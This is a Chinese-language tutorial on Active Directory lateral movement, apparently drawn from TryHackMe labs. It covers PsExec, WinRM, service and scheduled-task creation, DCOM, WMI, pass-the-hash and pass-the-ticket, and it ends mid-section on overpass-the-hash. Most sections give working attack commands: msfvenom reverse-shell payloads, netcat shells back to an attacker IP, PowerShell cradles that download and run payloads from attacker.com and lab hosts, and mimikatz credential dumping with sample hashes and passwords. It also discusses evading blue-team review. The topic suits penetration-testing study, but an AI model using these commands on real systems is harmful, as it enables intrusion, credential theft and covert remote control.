Active Directory域横向移动技术
拓扑图
示例中网络拓扑如下:

前言
虽然许多网络杀伤链将横向移动视为线性过程的附加步骤,但它实际上是一个循环的一部分,在这个循环中,攻击者使用任何可用的凭据来执行横向移动,使攻击者能够访问新机器,并在可能的情况下提升特权和提取凭据,又了新发现的凭据,这个循环又开始了。

背景
通常取得的第一个立足点是权限很有限的主机/凭据,比如通过钓鱼获得了营销部门的某个主机,这个主机通常会被防火墙策略限制,无法访问网络上的任何关键服务,包括管理协议、数据库端口、监控服务或其他非日常劳动所需的任何服务,包括代码库。
所以需要横向移动到拥有更高权限的主机,比如通过信息搜集,发现了一个名为 DEV-001-PC 的工作站,而本地管理员账户可能存在于其他主机上,尝试使用本地管理员的密码 hash 访问,发现其是一个开发者,拥有的权限更高,更多。

PS:虽然横向移动可能需要用来绕过防火墙限制,但它也有助于逃避检测。在上面的例子中,即使营销工作站可以直接访问代码库,可能还是希望通过开发者的电脑进行连接。这种行为在检查登录审计日志的蓝队分析师看来会更不可疑。
远程启动进程
使用 PsExec 进行远程执行
原理
PsExec 通过 SMB 协议(端口 445)连接到目标主机的 Admin$ 共享,上传服务二进制文件(如 psexec.exe),并通过服务控制管理器(SCM)创建服务来执行命令。
条件
- 需要目标主机的管理员凭据。
- 防火墙需允许 SMB(445/TCP)通信。
操作方法
明文凭据-psexec.exe
psexec64.exe \\目标IP -u 管理员用户名 -p 密码 -i cmd.exe
-
-i:交互式模式,允许用户与远程 shell 交互。 -
示例:
psexec64.exe 10.10.10.10 -u Administrator -p Pass123 -i cmd.exe
hash 传递-psexec.py
使用 python 脚本直接获取一个 shell:
python3 psexec.py DOMAIN/MyUser@VICTIM_IP -hashes :NTLM_HASH -codec 936
-codec 是目标编码设置,通过执行 chcp 可以得到目标 shell 编码,正常显示中文等字符。
[!IMPORTANT]
psexec.exe 和 psexec.py 是两个工具,命令写法有出入,适用对象也不一样,python 版本可以实现 pth,而 .exe 执行文件是官方版本,不支持 pth,只支持明文凭据。
具体流程

使用 WinRM 进行远程 PowerShell 会话
原理
WinRM(Windows 远程管理)基于 HTTP(S)(端口 5985/5986)协议,用于远程向 Windows 主机发送 PowerShell 命令。
要求
- Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 必须的组成员资格:远程管理用户
攻击方法
通过 winrs 执行命令
原理:基于 WinRM 协议调用远程命令解释器(cmd.exe)。
参考命令
要连接到远程 Powershell 会话的命令行,可以使用以下命令:
# 使用明文凭据
winrs.exe -u:用户名 -p:密码 -r:目标主机 cmd
# 示例:winrs.exe -u:desktop-ckvjihc\xyy -p:"asdfghjkl;'" -r:https://192.168.120.177:5986 "ipconfig"
# 使用mimikatz进行pth
token::revert
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.100.208 5555"
日志痕迹
- Windows 事件日志
Microsoft-Windows-WinRM/Operational记录连接行为。 - 安全日志事件 ID 4688(进程创建)显示
winrs.exe启动子进程。
通过 PowerShell 建立会话
原理:基于 WinRM 协议调用远程命令解释器(cmd.exe)。
可以使用 PowerShell 实现相同的功能,但为了传递不同的凭据,需要创建一个 PSCredential 对象
参考命令
创建 PSCredential 对象:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
建立会话:
Enter-PSSession -Computername TARGET_IP -Credential $credential
检测特征
- 网络流量中 HTTPS(5986)端口加密通信(需解密或行为分析)。
- 安全日志事件 ID 4648(显式凭据登录)和 4624(登录成功)。
使用 Invoke-Command 执行命令
原理:通过 WinRM 发送 PowerShell 脚本块到目标主机异步执行。
PowerShell 还包括 Invoke-Command 命令,它通过 WinRM 远程运行 ScriptBlocks。凭证必须通过 PSCredential 对象传递。
参考命令
创建 PSCredential 对象:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
建立会话:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
隐蔽性优势
- 无持久会话,执行后自动退出。
- 可通过
-SessionOption调整超时时间,避免长时间连接触发告警。
使用 PtH 连接到 WinRM 会话
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH -s
三种横向移动方法对比
| 方法 | 工具/命令 | 使用场景 | 交互性 | 隐蔽性 |
|---|---|---|---|---|
| 1. WinRS 命令行工具 | winrs.exe |
快速执行单条命令或启动远程 CMD | 非交互式 | 较低(记录在日志中) |
| 2. 交互式 PowerShell | Enter-PSSession |
交互式操作远程主机(类似 SSH) | 交互式 | 中等 |
| 3. 远程脚本块执行 | Invoke-Command |
批量执行复杂脚本或命令 | 非交互式 | 较高(可后台执行) |
使用 sc.exe 远程创建服务
利用原理
通过服务控制管理器(SCM)远程创建服务,服务启动时执行指定命令或二进制文件。
利用条件
-
Ports: 端口:
- 135/TCP, 49152-65535/TCP (DCE/RPC)
- 445/TCP (通过 SMB 命名管道的 RPC)
- 139/TCP (通过 SMB 命名管道的 RPC)
-
必需的组成员:Administrators
-
使用
runas /netonly在非交互式会话中模拟用户身份:runas /netonly /user:域名\用户名 "nc64.exe -e cmd.exe 攻击者IP 端口"
操作步骤
-
生成服务型 Payload:
使用msfvenom生成服务兼容的 Payload:msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=攻击者IP LPORT=4444 -o myservice.exe -
上传 Payload:
通过 SMB 上传到目标主机的
ADMIN$共享:smbclient -U 'ZA.TRYHACKME.COM\t1_leonard.summers' -W ZA //thmiis.za.tryhackme.com/admin$ EZpass4ever -c 'put ginkgo_service.exe'PS:参数说明
-U:指定用户名和域名(注意反斜杠需要转义)。-W ZA:指定工作组/域名。//thmiis.za.../admin$:目标主机的管理员共享(默认开放)。EZpass4ever:目标用户的密码put ginkgo_service.exe:上传文件到目标主机的C:\Windows\目录(因为ADMIN$对应C:\Windows\)。
-
开启 msf 监听:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell/reverse_tcp; set LHOST 10.50.100.208; set LPORT 4444; exploit" -
创建并启动服务:
sc.exe \\目标IP create 服务名称 binPath= "C:\Windows\myservice.exe" start= auto sc.exe \\目标IP start 服务名称 -
要停止并删除服务使用:
sc.exe \\TARGET stop THMservice sc.exe \\TARGET delete THMservice
使用 schtasks 创建计划任务
原理
schtasks 可以在任意 Windows 安装中创建和运行远程任务,通过计划任务在目标主机上定时执行命令或 Payload。
操作步骤
-
创建一次性任务:
schtasks /s 目标主机 /RU "SYSTEM" /create /tn 任务名称 /tr "命令" /sc ONCE /sd 1970-01-01 /st 00:00-
示例:
schtasks /s THMIIS /RU "SYSTEM" /create /tn THMTask /tr "C:\payload.exe" /sc ONCE /sd 01/01/1970 /st 00:00
-
-
立即运行任务:
schtasks /s 目标主机 /run /TN 任务名称 -
清理任务:
schtasks /s 目标主机 /delete /TN 任务名称 /F
SMB 远程命令执行
原理
客户端与服务器建立连接后, 客户端可以向服务器发送 SMB 命令允许用户访问共享、打开、读取或者是写入文件;
通过使用 smbexec 来实现通过 smb 服务的横向。
利用条件
- 开启了 445 端口
smbexec 使用
smbexec 为 impacket 工具中的工具,操作简单,容易被杀,使用时无需先进行 IPC 连接
明文传递:
smbexec 域名/用户名:密码@DC_ip
hash传递:
smbexec -hashes :$HASH$ ./用户名@DC_ip
smbexec -hashes :$HASH$ 域/用户名@DC_ip
实操
实验环境
| 机器名 | IP |
|---|---|
| Windows server 2012(域控) | 192.168.41.10 |
| Windows 10(域内主机) | 192.168.41.14 |
使用明文上线目标域控
1、首先向已控制的 Win10 机器上传 smbexec 工具,这里有个前提条件:已经通过抓取密码知道了域管理员的用户名和密码,接下来利用 smbexec 配合明文上线目标域控

2、输入命令
smbexec administrator:123456@192.168.41.10

使用 hash 上线目标域控
先使用 mimikatz 等工具抓取 hash 后操作。
smbexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 administrator@192.168.41.10

DCOM 远程命令执行
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是 Internet 上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用 DCOM 进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管 COM 服务器端的软件。
获取 DCOM 列表
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
DCOM 横向条件
- 需要关闭系统防火墙
- 必须拥有管理员权限
- 在远程主机上执行命令时,必须使用域管的 administrator 账户或者目标主机具有管理员权限的账户
实操
实验环境
| 机器名 | IP |
|---|---|
| Windows server 2012(域控) | 192.168.41.10 |
| Windows 10(域内主机) | 192.168.41.14 |
前期我们已经通过各种方法拿下了 win10 的权限,接下来就要利用 DCOM 远程执行命令横向移动上线域控

payload 准备
1、使用 cs 生成 powershell 脚本:
2、把 payload.ps1 复制放到公网的机器上,可以使用 python 开启 http 服务提供下载
python -m http.server 9988

开始攻击
法一:通过 MMC20.Application 远程执行命令
1、通过 PowerShell 与 DCOM 进行远程交互,此外,我们只需要提供一个 DCOM ProgID 和一个 IP 地址,然后,它就从远程返回一个 COM 对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
2、然后执行如下命令就可以调用 "ExecuteShellCommand" 方法在远程主机上启动进程:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
3、将 IP 和命令换成上线的命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.41.10"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.105:9988/payload.ps1'))","Minimzed")

4、等待目标域控上线

法二:ShellWindows 远程执行命令
1、执行命令打开本地计算器:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe"," /c calc.exe","c:windowssystem32",$null,0)

2、将 IP 和命令换成上线的命令:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.41.10")).item().Document.Application.ShellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.105:9988/payload.ps1'))","c:windows system32",$null,0)

3、等待目标域控上线

法三:通过 ShellBrowserWindow 远程执行命令
要求:适用于 Windows 10 和 Windows Server 2012 R2 等版本的系统
1、执行 payload 上线
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.41.10")).Document.Application.shellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.105:9988/payload.ps1'))","c:windows system32",$null,0)

2、等待目标域控上线

法四:调用 Excel.Application 远程执行命令
要求:目标主机中安装有 excle
1、 通过 PowerShell 与 DCOM 进行远程交互,创建 Excel.Application 对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.41.10"))
$com.DisplayAlerts = $false
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0.0.1"))
2、然后执行如下命令调用该对象的 "DDEInitiate" 方法在远程主机上启动进程:
$com.DDEInitiate("cmd.exe","/c 参数")
Tips:上线 cs 方法与前文同理,将具体命令写入执行即可
法五:Visio.Application 远程执行命令
要求:目标主机中安装有 Visio
示例命令:
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.41.10")).[0].Document.Application.shellExecute("command")
法六:Outlook.Application 远程执行命令
目标主机中安装有 Outlook
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.41.10")).createObject("Shell.Application").shellExecute("C:shell.exe")
法七:通过 Impacket 中的 dcomexec.exe 远程执行命令
dcomexec.exe [domain/]username:password@ip //创建一个交互式shell
dcomexec.exe [domain/]username:password@ip command // 执行命令
dcomexec.exe [domain/]username:@ip -hashes [hash] //hash传递
首先将 dcomexec.exe 上传到目标 win10 上

然后抓取域管理员的密码:

shell dcomexec.exe hack.com\administrator:@192.168.41.10 -hashes 32ed87bdb5fdc5e9cba88547376818d4
上线域控

实操-SC
现有信息
- 目标主机:
thmiis.za.tryhackme.com - 攻击者主机:AttackBox( IP 为
10.50.100.208) - 目标主机凭据:
- 用户:
ZA.TRYHACKME.COM\t1_leonard.summers - 密码:
EZpass4ever
- 用户:
- 跳板机凭据:
- 用户:
jenna.field - 密码:
Income1982
- 用户:
连接到跳板机
使用 ssh 登录到跳板机:
ssh za\\jenna.field@thmjmp2.za.tryhackme.com
PS:
za\\jenna.field和jenna.field的区别:
命令格式 实际传递的用户名 服务器处理逻辑 ssh za\\john.doe@thmjmp2...za\john.doe明确要求 za域的用户john.doessh john.doe@thmjmp2...john.doe尝试附加默认域(如 za.tryhackme.com)
开始攻击
1、生成 payload
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=10.50.100.208 LPORT=4444 -o ginkgo_service.exe
2、上传 payload
通过 SMB 上传到 ADMIN$ 共享
在 AttackBox 中使用 smbclient 上传文件至 t1:
smbclient -U 'ZA.TRYHACKME.COM\t1_leonard.summers' -W ZA //thmiis.za.tryhackme.com/admin$ EZpass4ever -c 'put ginkgo_service.exe'
3、设置监听器
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell/reverse_tcp; set LHOST 10.50.100.208; set LPORT 4444; exploit"
4、获取权限令牌
在 THMJMP2 上使用 runas 提权,因为 sc.exe 不允许我们在命令中指定凭据,我们需要在跳板机上通过 runas 来使用 1_leonard.summer 的访问令牌启动一个新的 shell,但对于跳板机我们只能进行 ssh 访问,无法访问新创建的 shell,所以需要将新 shell 通过反弹 shell 的方式拿到。
通过 SSH 连接到跳板机 THMJMP2 后,运行:
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "nc64.exe -e cmd.exe 10.50.100.208 4443"
5、接收第二个 shell
nc -lnvp 4443
接收后会得到一个实际以 t1_leonard.summers 身份运行的 CMD 窗口。
6、创建并启动恶意服务
通过 sc.exe 远程创建服务
在新的 CMD 窗口(已注入凭证)中执行:
sc.exe \\thmiis.za.tryhackme.com create THMservice-1234 binPath= "%windir%\ginkgo_service.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start THMservice-1234
PS:参数说明
THMservice-1234:自定义服务名称(确保唯一性)。binPath:指向上传的 Payload 路径(%windir%即C:\Windows)。start= auto:服务开机自动启动(立即启动需手动执行start)。
可以看到拿到的 shell 是 system 权限,存在得到的 t1 用户,成功拿下了目标主机。
7、获取 flag
在获得的 Shell 中执行:
C:\Users\t1_leonard.summers\Desktop\Flag.exe
成功拿到 flag
WMI 横向
Windows 管理规范(WMI)也可以执行前文中所提到的几个方法/技术,它允许管理员执行标准管理任务,攻击者可以利用这些任务以各种方式进行横向移动。
从 powershell 连接到 WMI
连接到 wmi 之前需要创建一个包含用户名和密码的 PSCredential 对象。此对象将存储在 $credential 变量中:
$credential = New-Object System.Management.Automation.PSCredential "用户名", (ConvertTo-SecureString "密码" -AsPlainText -Force)
使用 DCOM 协议在 WMI 会话中建立 powershell,并将其存储在 $Session 变量中:
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
PS:
New-CimSessionOption命令用于配置 WMI 会话的连接选项,包括连接协议。然后,将这些选项和凭据传递给New-CimSession命令,以在远程主机上建立会话。
通信协议
WMI 支持两种协议,影响端口和流量特征:
| 协议 | 端口 | 特点 |
|---|---|---|
| DCOM | 135/TCP + 49152-65535/TCP | 基于 RPC,兼容性高,但流量易被防火墙拦截 |
| WinRM | 5985/TCP (HTTP) 或 5986/TCP (HTTPS) | 基于 HTTP(S),加密传输,需目标开启 WinRM 服务 |
条件
由于是使用的基于 powershell 建立的会话,那么所有的操作方法都要具有下面这些条件才能实行:
- 端口:
- 135/TCP,49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
- 必需的组成员: 管理员
远程创建进程
攻击指令
通过 WMI 和从 Powershell 发送 WMI 请求到 Win32_Process 类来在之前创建的会话下远程启动进程:
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere"; # 这里是要执行的命令
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
技术细节:
- 原理:调用
Win32_Process.Create()方法在目标主机创建进程。- 隐蔽性:无输出回显,适合执行静默操作(如添加用户、下载文件)。
- 日志痕迹:Windows 事件日志
Microsoft-Windows-WMI-Activity/Operational记录 WMI 调用。
传统方法(WMIC):
wmic.exe /user:Admin /password:Pass123 /node:192.168.1.10 process call create "powershell -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"
远程创建服务
攻击指令
创建服务
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "BackdoorSvc";
DisplayName = "Backdoor Service";
PathName = "C:\Windows\backdoor.exe"; # 恶意程序路径
ServiceType = 16; # Win32OwnProcess(独立进程)
StartMode = "Manual";
}
PS:参数说明
- ServiceType:
16表示服务在独立进程中运行(避免依赖其他服务)。- StartMode:
Manual(手动启动)或Auto(开机自启)。
启动/停止服务
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -Filter "Name='BackdoorSvc'"
Invoke-CimMethod -InputObject $Service -MethodName StartService # 启动服务
Invoke-CimMethod -InputObject $Service -MethodName Delete # 删除服务
远程创建计划任务
攻击指令
$Action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c powershell -c IEX (irm http://attacker.com/payload.ps1)"
Register-ScheduledTask -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "MalTask" -CimSession $Session
Start-ScheduledTask -TaskName "MalTask" -CimSession $Session
优势:
- 高权限执行:以
SYSTEM权限运行,绕过用户权限限制。- 隐蔽性:任务执行后自动删除(结合
Unregister-ScheduledTask)。
远程安装 MSI 包
前提条件
- 需提前将 MSI 文件上传至目标主机(如通过 SMB 复制到
C:\Windows\)。
攻击指令
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{
PackageLocation = "C:\Windows\malware.msi";
Options = ""; # 静默安装参数(如 `/qn`)
AllUsers = $true # 为所有用户安装
}
[!WARNING]
日志记录:
Win32_Product类操作会记录到 Windows 事件日志,易触发告警。
wmiexec.py
wmiexec.py 是 impacket 工具包中的脚本,由于原生 wmic 执行命令无法回显,利用此脚本可以回显。
原理
-
通过 135 端口建立 DCOM 连接获取 win32_Process 对象,通过 win32_Process 的 create 方法创建程序执行
-
通过 445 端口建立 smb 连接访问 admin$共享下的结果文件,完成结果回显
基本用法
python wmiexec.py user:pass@ip 用户密码连接拿shell
python wmiexec.py -hashes LM:NT domain/user@ip "command" # PTH 连接拿 shell(可加 command 执行命令)
# wmiexec.py 划分 domian 用的是斜杠 "/",不是反斜杠 "\\" !!!
# 参考上线 cs 命令
wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 administrator@192.168.41.10 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.100:9988/payload.ps1'))"
常用选项:
-share SHARE 选择回显结果放置的共享文件夹,默认为 ADMIN$
-shell-type {cmd, powershell} 选择 shell 的种类
-nooutput 不显示回显(不进行 smb 连接)
-ts 给每个日志回显加上时间戳
-silentcommand 不加载 cmd.exe 运行给定指令(无回显)
-codec CODEC 指定回显的编码(默认 utf-8)
-k 使用 Kerberos 身份验证,基于目标参数从 ccache 中获取票据
原生 WMIC
基本命令
远程命令执行
由于原生 wmi 无回显,所以是需要将运行结果写入文件,然后远程读取。
命令执行:
wmic /node:TARGETIP /user:USER /password:PASSWORD Process Call Create "cmd.exe /c COMMAND > C:\\result.txt" # 将执行结果存入文件
示例:WMIC /Node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "cmd /c whoami > C:\Users\Test2019\AppData\Local\Temp\rs.log"
获取执行结果文件内容,有三个方法:
-
1.通过 IPC 建立连接,输出结果:
net use \\TARGETIP\ipc$ /user:USER PASSWORD type \\TARGETIP\C$\result.txt -
2.设置共享网盘,再将结果复制到本地:
net use X: \\TARGETIP\C$ PASSWORD /user:USER xcopy X:\result.txt C:\Local\Results /y net use X: /delete -
3.直接与目标 C 盘建立连接读取文件:
net use \\TARGETIP\c$ type \\TARGETIP\c$\result.txt
信息搜集
搜索系统运行服务 wmic service list brief |more
搜索运行中的程序 wmic process list brief |more
搜索启动程序 wmic startup list brief |more
搜索共享驱动盘 wmic netuse list brief |more
搜索用户帐户 wmic useraccount list brief |more
搜索计算机DC wmic ntdomain list brief
搜索登录用户 wmic logon list brief |more
搜索已安装的安全更新 wmic qfe list brief |more
搜索时区 wmic timezone list brief |more
实操
现有信息
- 目标主机:
thmiis.za.tryhackme.com - 攻击主机:AttackBox(IP 为
10.50.100.208) - 目标主机管理员凭据:
- 用户:
ZA.TRYHACKME.COM\t1_corine.waters - 密码:
Korine.1994
- 用户:
- 跳板机凭据:
- 用户:
jenna.field - 密码:
Income1982
- 用户:
连接到跳板机
使用 ssh 登录到跳板机:
ssh za\\jenna.field@thmjmp2.za.tryhackme.com
PS:
za\\jenna.field和jenna.field的区别:
命令格式 实际传递的用户名 服务器处理逻辑 ssh za\\john.doe@thmjmp2...za\john.doe明确要求 za域的用户john.doessh john.doe@thmjmp2...john.doe尝试附加默认域(如 za.tryhackme.com)
开始攻击
1、创建 payload
使用 msfvenom 创建 payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > ginkgo_installer.msi
2、投送 payload 到目标主机
使用 smb 服务或其他方式投送,这里使用 smb:
smbclient -U 'ZA.TRYHACKME.COM\t1_corine.waters' -W ZA //thmiis.za.tryhackme.com/admin$ Korine.1994 -c 'put ginkgo_installer.msi'
PS:由于是发送到目标的
admin$共享目录,所以文件在目标的 C:\Windows\ 目录下。
3、创建监听
使用 msf 接收反弹的 shell:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST lateralmovement
set LPORT 4445
set payload windows/x64/shell_reverse_tcp
exploit
4、从 powershell 启动 WMI 会话
$credential = New-Object System.Management.Automation.PSCredential "t1_corine.waters", ConvertTo-SecureString "Korine.1994" -AsPlainText -Force
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
5、触发 payload
从 Win32_Product 类中调用 Install 方法以触发有效载荷:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\ginkgo_installer.msi"; Options = ""; AllUsers = $false}
6、接收 shell&寻找 flag
可以看到拿到了目标主机 system 权限的 shell:
找到 flag:
认证材料替代
由于 Windows 网络使用的某些认证协议的工作方式,可以通过替代认证材料就可以登录,比如:
- NTLM 认证
- Kerberos 认证
NTLM 认证
认证过程

- 客户端向他们想要访问的服务器发送一个身份验证请求。
- 服务器会验证该用户是否存在,若存在就生成一个随机数并将其作为质询发送给客户端。
- 客户端将他的 NTLM 密码 hash 与质询(以及其他已知数据)结合,生成对质询的响应,并将其发送回服务器进行验证。
- 服务器将质询和响应都转发到域控制器进行验证。
- 域控制器使用质询重新计算响应,并将其与客户端发送的初始响应进行比较。如果它们都匹配,则客户端被认证;否则,拒绝访问。认证结果将发送回服务器。
- 服务器将认证结果转发给客户端。
注意: 所述过程适用于使用域账户的情况。如果使用本地账户,服务器可以自行验证对质询的响应,无需与域控制器交互,因为它在其 SAM 上存储了本地密码散列。
hash 传递(Pass-the-Hash)
通过使用 mimikatz 这类凭据提取工具的时候,可能会得到无法破解的 hash,但 NTLM 认证过程中是使用 NTLM hash 应对质询的,那么就可以无需知晓明文进行认证,这称为:PtH
提取 hash
提取本地 hash 有几种方法,比如通过 mimikatz 读取本地 SAM,或者直接从 LSASS 内存中提取哈希。
PS:mimikatz 需要管理员权限才能 debug
从本地 SAM 中提取 NTLM hash
此方法仅能获取本地用户的 hash,无法获取域用户的哈希值:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50
提取 LSASS 内存中的 NTLM hash
此方法将能提取本地用户和最近登录到机器的任何域用户的任何 NTLM 哈希值:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484
PtH 攻击
使用 mimikatz 进行 PtH
使用提取到的 hash 通过 mimikatz 在反向 shell 中注入受害用户的访问令牌,执行 PtH 攻击,如下所示:
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
[!IMPORTANT]
这里使用了
token::revert来恢复我们原来的令牌权限,因为尝试使用提升权限的令牌来进行传递哈希攻击是行不通的。这相当于使用
runas /netonly,但使用哈希而不是密码,并从那里启动一个新的反向 shell,我们可以冒充受害者用户执行任何命令。
使用 nc 接收反弹的 shell:
nc -lvp 5555
和 runas 一样在反弹的 shell 中执行 whoami 会得到执行 pth 之前的用户名,但实际却是以 pth 之后的用户执行命令。
使用 Linux 进行 PtH
Linux 中有其他的一些工具也可以实现 pth 攻击:
使用 PtH 连接到 RDP:
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
通过 Psexec 使用 PtH 连接
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
注意:仅 Linux 版本的 psexec 支持 PtH。
使用 PtH 连接到 WinRM:
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Kerberos 认证
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务,使用传统的密码技术(如:共享密钥)执行认证服务。
该认证过程的实现假定网络上传送的数据包可以被任意地读取、修改和插入数据,因此不要求也不信任任何主机/网络安全。
kerberos 协议中存在三个角色,分别是:
客户端(client):发送请求的一方
服务端(Server):接收请求的一方
密钥分发中心(Key Distribution Center,KDC),而密钥分发中心一般又分为两部分,分别是:
AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据
授予票据)
TGS(Ticket Granting Ticket):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务
授予票据(Ticket)
认证过程
-
用户将用户名及用密码派生密钥加密的时间戳发至密钥分发中心 KDC(常位于域控制器,负责创建 Kerberos 票据)。KDC 生成并返回票据授予票据(TGT)与会话密钥,TGT 可让用户免传凭据请求服务票据,会话密钥用于后续请求。TGT 由 krbtgt 账户密码散列加密,用户无法查看内容,其加密部分含会话密钥副本,KDC 可按需解密 TGT 恢复该密钥,无需存储。

-
用户需要连接网络服务(如共享、网站、数据库)时,会用 TGT 向 KDC 的票据授予服务(TGS)请求票据。请求时需发送用户名、用会话密钥加密的时间戳、TGT 及指示目标服务和服务器的服务主体名称(SPN)。KDC 会返回 TGS 和服务会话密钥,用于验证目标服务。TGS 由服务所有者哈希加密,其加密内容含服务会话密钥副本,以便服务所有者解密获取。

-
TGS 可以发送到所需服务进行身份验证和建立连接。该服务将使用其配置账户的密码散列来解密 TGS 并验证服务会话密钥。

票据传递(Pass-the-Ticket)
通过窃取内存中的 Kerberos 票据(TGT 或 TGS),绕过密码验证直接访问资源,这称为 PtT。
原理
依赖条件
- 需从 LSASS 进程中提取票据(需 SYSTEM 权限)。
- 票据必须包含 会话密钥(Session Key),否则无法使用。
攻击流程
- 提取票据:使用 Mimikatz 导出 LSASS 内存中的票据(
.kirbi文件)。 - 注入票据:将票据注入当前会话,冒充合法用户。
- 访问资源:使用注入的票据请求服务,无需原始凭证。
操作步骤
# 提取所有票据(需管理员权限)
mimikatz # privilege::debug # 提权至 DEBUG 权限
mimikatz # sekurlsa::tickets /export # 导出票据到当前目录
# 注入指定票据(无需管理员权限)
mimikatz # kerberos::ptt "C:\Path\To\Ticket.kirbi"
# 验证票据注入
klist # 查看当前会话的票据缓存
关键文件:
- TGT(
krbtgt开头):用于请求任意服务的访问权限。- TGS(服务名开头):仅能访问特定服务(如
CIFS/DC01)。
攻击场景
- 横向移动:在已控制的跳板机(如
THMJMP2)上窃取高权限用户的 TGT,访问域控制器或其他关键主机。 - 权限维持:即使密码更改,只要票据未过期仍可维持访问。
防御检测
- 日志监控:
- 事件 ID 4624(登录类型 3 的 Kerberos 认证)。
- 异常数量的 TGS 请求(可能为票据滥用)。
- 防护措施:
- 限制对 LSASS 的访问(启用 Credential Guard)。
- 强制票据有效期缩短(默认 10 小时)。
Overpass-the-hash / Pass-the-Key
原理
这种攻击类似于 pth,但是 kerberos 网络。
-
